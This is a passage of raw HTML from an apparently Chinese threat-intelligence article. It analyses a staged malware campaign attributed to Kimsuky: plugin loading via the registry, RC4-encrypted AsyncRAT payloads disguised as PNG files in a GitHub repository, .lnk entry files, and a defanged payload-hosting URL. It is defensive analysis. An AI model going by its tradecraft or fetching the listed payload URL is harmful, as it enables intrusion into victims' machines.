UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">的功能。</span></font></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.195357833655706" data-s="300,640" data-type="png" data-w="1034" type="block" data-imgfileid="100024883" src="https://wechat2rss.xlab.app/img-proxy/?k=83741653&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJspU1wPCEyQiczogkSUD4MaSUDlCibibQKqp20H64MUgQxGeyY5K1iakL3z6OKibhWXh3sic7cStntIlJhIhDXyVKkeo07z28dcvWa0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如果执行的是</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">plugin功能，则首先判断本地是否保存有该插件，如果有该插件，便直接内存加载执行即可，如果没有该插件则</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">先向服务端请求插件信息。</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24722222222222223" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100024884" src="https://wechat2rss.xlab.app/img-proxy/?k=309a70e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKRZnwM7X0RDUHfcaYjibMsZhiaWYf6ibF2M00pGVLOUUFQ78C7FiaMciaJ8ljpMR8A4MHM0SaJJurfsyDNAicLz87ow32gibGGmRsOgY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">save</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">P</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">lugin功能的原理是将插件的</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Hash</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">信息和二进制数据</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">(以</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Hash</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">为键名，以插件的字节数据为键值相对应</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">)</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">保存到注册表中。</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24259259259259258" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100024885" src="https://wechat2rss.xlab.app/img-proxy/?k=d64e4d6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLu2ibEx05ZfbUhiauice3LFiaIRzUtc7Cd04cIsicyHvR3o91Y1Wia2pGwZ0GwGUjA5fAc734AuvPPaFUHuTicH3uut4GrthibtF4ibM7c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者前期采用分层投递的轻量化攻击战术，释放的恶意样本仅回传受害主机的基础环境与身份信息，后续可以根据回传的主机信息做定向筛选，仅针对符合预设攻击目标条件的受害主机，才会进一步下发各类专用功能插件开展深度信息搜集，这种按需加载的阶段化攻击设计，能够大幅压缩初始载荷的恶意特征面，最大程度避免攻击链路提前暴露。</span></font></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin-right: auto;margin-left: auto;"><div style="background: linear-gradient(rgba(254, 254, 254, 0) 0%, rgba(254, 254, 254, 0) 60%, rgb(255, 255, 255) 60%, rgb(255, 255, 255) 100%);"><div style="display: inline-block;"><div style="background-color: rgb(190, 25, 31);padding: 6px 15px;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: rgb(255, 255, 255);"><strong><span style="font-size: 18px;"><span leaf="">二、攻击者仓库分析</span></span></strong></p></div></div></div></div></div><p style="text-indent: 2em;text-align: left;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过下载链接</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini，我们对攻击者github账号进行了分析，发现该账号于</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">026年1月份创建，随后在二月份创建项目仓库，并上传恶意代码。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5583333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100024886" src="https://wechat2rss.xlab.app/img-proxy/?k=eedbe446&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLUI8SJOyJwSZYBGd4ajyEJs056y1jImmVjO0apG7Q69zRnsdNsesqUD96A9SGV70B64VsE6rHqj4mahFiaEJA1OmDRlHLDmZB8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6398148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100024887" src="https://wechat2rss.xlab.app/img-proxy/?k=49397349&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLE143lgFib3LTYhMCGK4FD7boiaP7Mtn9oHbQOVlc2SPL8IjBdGN6WTj3x6NKfz0GibQ0DFmwUBDVuiciaIMxtggUpdzYFeEWL1SCU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在对仓库样本进行深入分析时发现，仓库内的</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">PNG文件都是加密恶意载荷。这些文件均采用与前文一致的RC4密钥进行加密处理。对其解密后进一步分析表明，这些载荷均属于AsyncRAT家族，推测为基于AsyncRAT开源代码进行二次开发，</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">具体表现在通信协议、配置结构及功能模块上进行了定制化修改，体现出攻击者在持续迭代其工具链的过程</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></font></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此外，在仓库中还发现攻击者的测试样本</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，这些样本很可能用于功能测试或开发调试阶段。</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9075425790754258" data-s="300,640" data-type="png" data-w="411" type="block" data-imgfileid="100024891" src="https://wechat2rss.xlab.app/img-proxy/?k=8686c6cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJjkiat3DwoAgWEnO5MiaHE5naiaAsSMJ7iaMdRcydrjdiciaOQ9VyY3eutDfKFkd4AsjdUPsBkqDTfDWbhuT3FBnDFAPH6HHdrJibicDI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最后我们还发现部分受害者信息也已上传到</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">github仓库，如下所示。</span></p><p style="text-align: center;margin-bottom: 16px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100024889" src="https://wechat2rss.xlab.app/img-proxy/?k=e9ba7c91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIn5sYFHK2wt1mH49UvyvXccSicGTNdJKppYP8nAeI3loaiafbVzoVwvXQZ2EQD6DruEpkgiaQZTr7WqLOriaAQoEMXXlmdIXr7OIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin-right: auto;margin-left: auto;"><div style="background: linear-gradient(rgba(254, 254, 254, 0) 0%, rgba(254, 254, 254, 0) 60%, rgb(255, 255, 255) 60%, rgb(255, 255, 255) 100%);"><div style="display: inline-block;"><div style="background-color: rgb(190, 25, 31);padding: 6px 15px;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: rgb(255, 255, 255);"><strong><span style="font-size: 18px;"><span leaf="">三、归属研判</span></span></strong></p></div></div></div></div></div><div data-role="paragraph"><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">经深度发现本次攻击方式和</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">K</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">imsuky</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织以往</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">T</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">TP</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">存在较大关联，具体表现如下所示：</span></font></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1.自我们披露K</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">im</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">suky组织利用</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">GitHub作为载荷平台</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">的攻击方式以来</span></font><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[1]</span></sup><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，该组织一直保留这种攻击方式。</span></font></p><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">．本次利用</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">docx.lnk</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">的文件作为攻击入口，同时</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">l</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">nk</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">执行恶意载荷的文件名含有</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">s</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">etting.ini”等字符串，</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, 